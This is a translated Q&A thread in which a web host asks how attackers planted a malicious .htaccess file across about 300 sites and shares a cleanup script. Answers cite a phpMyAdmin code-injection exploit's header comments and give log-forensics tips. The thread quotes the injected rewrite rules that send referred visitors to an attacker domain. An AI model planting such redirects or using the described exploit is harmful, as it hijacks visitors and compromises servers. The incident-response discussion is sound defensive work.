web-dev-qa-db-ja.com

Webサーバーの脆弱性を見つける

約300のウェブサイトをホストするウェブサーバーファームを運営しています。

昨日の朝、スクリプトはwww-data(Apacheユーザー)が所有する.htaccessファイルをほとんどの(すべてではない)サイトのdocument_rootの下のすべてのディレクトリに配置しました。

.htaccessファイルの内容は次のとおりです。

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_Host}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

そのURL(「アンチウイルス」のmd5ハッシュ)をグーグルで検索すると、これと同じことがインターネット全体で発生していることがわかり、すでにこれに対処し、判断した人を探しています脆弱性はどこにありますか

ほとんどのログを検索しましたが、決定的なものはまだ見つかりませんでした。私が穴を特定するよりもさらに進んだ同じことを経験した他の人はいますか?

これまでのところ、次のことを決定しました。

  • 変更はwww-dataとして行われたため、Apacheまたはそのプラグインが原因である可能性があります
  • すべての変更は互いに15分以内に行われたため、おそらく自動化されていました
  • 当社のWebサイトにはさまざまなドメイン名があるため、(すべてのサイトに共通の脆弱性ではなく)1つのサイトの単一の脆弱性が原因であると思います。
  • .htaccessファイルがすでに存在し、www-dataで書き込み可能である場合、スクリプトは親切で、ファイルの最後に上記の行を追加するだけでした(簡単に元に戻すことができます)。

これ以上のヒントをいただければ幸いです。

==編集==

それを必要とする人のために、これが私が.htaccessファイルをクリーンアップするために使用したスクリプトです:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done
6
Brent

PhpMyAdminの エクスプロイト があります

#!/ bin/bash

#CVE-2009-1151:phpMyAdmin '/ scripts/setup.php' PHPコードインジェクションRCEPoC v0.11
#by pagvac(gnucitizen.org)、2009年6月4日。
#このようなクールな脆弱性を発見してくれたGreg Ose(labs.neohapsis.com)に特に感謝します。
#そしてstr0ke(milw0rm.com)に、このPoCスクリプトをテストしてフィードバックを提供してください!

#PoCスクリプトは、次のターゲットで正常にテストされました。
#phpMyAdmin 2.11.4、2.11.9.3、2.11.9.4、3.0.0、3.0.1.1
#Linux2.6.24-24-汎用i686GNU/Linux(Ubuntu 8.04.2)

#攻撃要件:
#1)脆弱なバージョン(明らかに!):2.11.9.5より前の2.11.x
#およびPMASA-2009-3に準拠した3.1.3.1より前の3.x
#2)それのようですこの脆弱性は環境に対してのみ悪用できます
#管理者がphpMyAdminのインストールを選択した場所
#手動メソッドではなくwizardメソッド: http://snipurl.com/jhjxx
#3)管理者は「/ config /」ディレクトリを削除してはいけません
#「/ phpMyAdmin /」ディレクトリ内。これは、このディレクトリが
#where '/ scripts/setup.php'は 'config.inc.php'を作成しようとします。
#私たちの悪PHPコードが挿入されます8)

#詳細情報:
http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

3
RedGrittyBrick

攻撃はApacheを介して行われたように見えるので、次の2つのことを行います。

  1. '.htaccess'を探して、すべてのアクセスログをチャンクします。
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. Apache/httpd/whateverユーザーのホームディレクトリで履歴ファイルを探します。多くの場合、「/ var/www」などです。

これにより、最初にWebユーザー自体が侵害されたのか、攻撃者が任意のコマンド実行を利用していたのかがわかります。また、攻撃者が行ったことの(潜在的な)完全な説明を提供する場合もあります。ばかげているように聞こえますが、このようなハッキングのほとんどは、自分でクリーンアップしてそのような証拠を残すことはめったにありません。

もちろん、組織内にセキュリティインシデント対応またはフォレンジック検査を実行するグ​​ループがある場合は、独自の分析を開始する前に、機器をグループに渡す価値があるかもしれません。

0
Scott Pack